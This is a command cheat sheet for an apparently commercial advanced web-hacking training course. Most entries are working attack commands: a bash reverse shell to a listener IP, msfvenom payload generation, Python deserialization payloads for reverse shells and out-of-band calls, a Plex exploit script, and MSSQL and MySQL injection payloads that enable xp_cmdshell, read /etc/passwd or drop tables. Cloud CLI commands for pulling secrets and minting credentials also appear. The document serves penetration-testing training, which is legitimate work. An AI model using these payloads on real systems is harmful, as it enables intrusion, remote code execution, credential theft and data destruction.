Advanced Web Hacking

Command Cheat Sheet

Command Cheat Sheet

Useful commands for Web Hacking Black Belt Edition

Note: All the required tools are installed in the path or in the directory /root/tools

Common Commands

`$ burpsuite`	Start Burp from command line
`$ sudo tcpdump -n udp port [port no] | grep 'subdomain.domain.com'`	Start a UDP packet listener
`$ sudo tcpdump -vvv -n port [port no]`	Start a packet listener
`$ nc –lnvp <port>`	Netcat listener
`$ bash -i >& /dev/tcp/<Listener_IP>/<PORT> 0>&1`	Bash one-line reverse Shell
`$ vim [filename]`	Load the file in vim editor
	Input ‘i’ to insert text
	Input **[esc]:wq** to save and quit vim
`$ wget http[s]://website/url`	Download a file

Additional commands

`./hash_extender --data [data] --secret-min [min-len] --secret-max [max-len] --append [value] --signature [signature] --format [type] --out-data-format [type] --table`	Generate hashes of different lengths to perform hash length extension attack
`./xxeserv -w`	Start XXEServ over HTTP and FTP channel
`java -jar [filename.jar]`	Execute the jar file
`./phpggc -b slim/rce1 <function> <parameter>`	Creates a payload for PHP Slim framework to execute RCE
`git clone [git_url.git]`	Download the source from git

`mvn clean package -DskipTests`	Compile code using maven and package it to jar file

Python Commands

`python pythonserv.py / pythonserv`	Runs the pythonserv script
`python3 brute-jwt.py --file (Dictionary path) --algorithm (algorithm type) --token (token string)`	Runs the brute-jwt script along with its parameters
`Python2: python -m SimpleHTTPServer [port no]` `Python3: python3 -m http.server [port no]`	Starts a webserver on specified port number.
`Python3: aws_enum.py --access-key (Key) --secret-key (Secret Key) --session-token (Token Value) --region (Region)`	Runs an AWS script and gives access detils over a cloud instance.
`Python3: coupon.py (MobileCarrier) (Discount)`	Runs discount coupon script
`Python3: coupon_request_sig.py (coupon.txt) (id)`	Creates signatures for discount coupons
`Python3: python_deser_oob.py <userdomain>`	Creates a python serialized payload for making an OOB call to a specified domain.
`Python3: python_deser_shell.py`	Creates a python serialized payload for reverse shell.
`python3 GeneratePayload.py [command] [dict_file]`	Create a python serialized payload in dictionary file.
`python3 ExecutePaylaod.py <plex_server_url:port> [myPlexToken] [dict_file]`	Exploit the python serialization to execute the command generated using “GeneratePayload.py”

NMAP

`# nmap -sV -A –p- -nvvv [host]`	Full Port, no DNS, basic scripts, version finger print and verbose
`# nmap -iL <infile> -oA <outfile> [host]`	Input and output files

`# nmap -p88 --script=<scriptname> --script-args arg1='value' [host]`	Nmap scripts with arguments

Metasploit

`# msfconsole`	Launch Metasploit console
`> use <module_name>`	Use an exploit / auxiliary
`> set <parameter_name> <parameter_value>`	Set parameters
`> set payload <payload_name>`	Set payload
`> run/exploit`	Execute module
`# msfconsole -x "use <module_name>; set <parameter_name> <parameter_value>; run; exit"`	Run a module without going into console
`# msfvenom -p <payload_name> LHOST=<local_host_IP> LPORT=<local_port> -f <file_format> > filename.extention`	Generate a payload using msfvenom

ENCODE/DECODE Commands

`$ echo "test" | base64`	Encode → Text to Base64
`$ echo "<HEX>" | xxd -r -p`	Encode → Hex to Bytes
`$ echo "<base64data>" | base64 -d`	Decode → Base64 to Bytes
`$ echo "<Bytes>" | xxd -p`	Decode → Bytes to Hex

Commonly Used Out Of Band (OOB) Commands

`> ping <IP/Domain>`	ICMP/DNS Request
`> nslookup <Domain>`	DNS Request
`> nslookup <Domain> <Resolver_IP>`	DNS Request via Specific Resolver
`> nc/ncat <IP> <Port>`	Send a TCP/UDP request using Netcat/Ncat
`> certutil -urlcache -split -f <URL>`	Send a HTTP/HTTPS request using certutil [Windows Only]

`> powershell Invoke-WebRequest -Uri <URL>`	Send a HTTP/HTTPS request using powershell [Windows Only]

Commonly Used SQL Injection Payloads (MSSQL Server)

`> 1' or '1'='1' --`	Authentication bypass
`> ' waitfor delay '0:0:10' --`	Sleep for 10 seconds
`> ' UNION SELECT NULL,TABLE_NAME,NULL FROM information_schema.TABLES--`	Extract table names
`> ';exec master..xp_dirtree '\\userX.webhacklab.com\' --`	Execute an OOB call to the mentioned target (stacked query)
`> ';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; --`	Enable xp_cmdshell (stacked query)
`> ';exec master..xp_cmdshell '(Windows Terminal Com)' --`	Execute terminal command via xp_cmdshell (stacked query)

Commonly Used SQL Injection Payloads (MYSQL Server)

`> 1' OR '1'='1' #`	Authentication bypass
`> ' UNION ALL SELECT LOAD_FILE('/etc/passwd') #`	Read contents of a File
`> -@@version` `> UNION ALL SELECT NULL,version() #`	MYSQL Server version Details
`> AND sleep(10) #`	Sleep for 10 seconds
`>2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2`	Time Based Injection incase DB version matches '5'
`> DROP sampletable;#`	Drops table from DB (dangerous)

Commonly used Cloud CLI Commands (AWS, AZURE)

`> aws s3 ls`	List S3 Buckets
`> aws s3 cp <source> <destination> --recursive`	Recursive Copy s3 Buckets
`> az storage share exists --account-name (account name) --account-key (account key) --name (name)`	Verifies and tells if there is a storage server share available.
`>az storage file download-batch --account-name (Account name) --account-key (Account Key) --destination (destination path) --source (source name) --no-progress`	Downloads the files from the storage space to local path.
`>aws cognito-idp sign-up --client-id (client id) --username (username) --password (password) --user-attributes Name="email",Value="(emailid)" Name="name",Value="(name)"`	Registers a user via cognito-idp with the mentioned details.
`>aws cognito-idp confirm-sign-up --client-id (clientid) --username=(username) --confirmation-code (code)`	Sends the registration code to activate the cognito-idp user.
`>aws secretsmanager list-secrets`	Lists aws secretmanager secrets
`>aws cognito-identity get-id --identity-pool-id (identity pool id) --logins (IdentityPoolName)=(IdToken))`	Generates an authenticated Cognito identity
`>aws cognito-identity get-credentials-for-identity --identity-id (IdentityID) --logins (IdentityPoolName)=(Id Token)`	Creates temporary AWS credentials
`>aws secretsmanager get-secret-value --secret-id (secretid)`	Fetches the details of the mentioned secret id via secret manager

Commonly used Sqlmap Commands

`sqlmap -r (Request file) --dbms (Database type) --second-order (path to look as payload reflection point) --dbs`	Sqlmap command to test for second order SQL injection

`sqlmap -r (Request file) --eval=(Eval script) --dbs --batch`	Sqlmap command to edit a value corresponding to a request at runtime.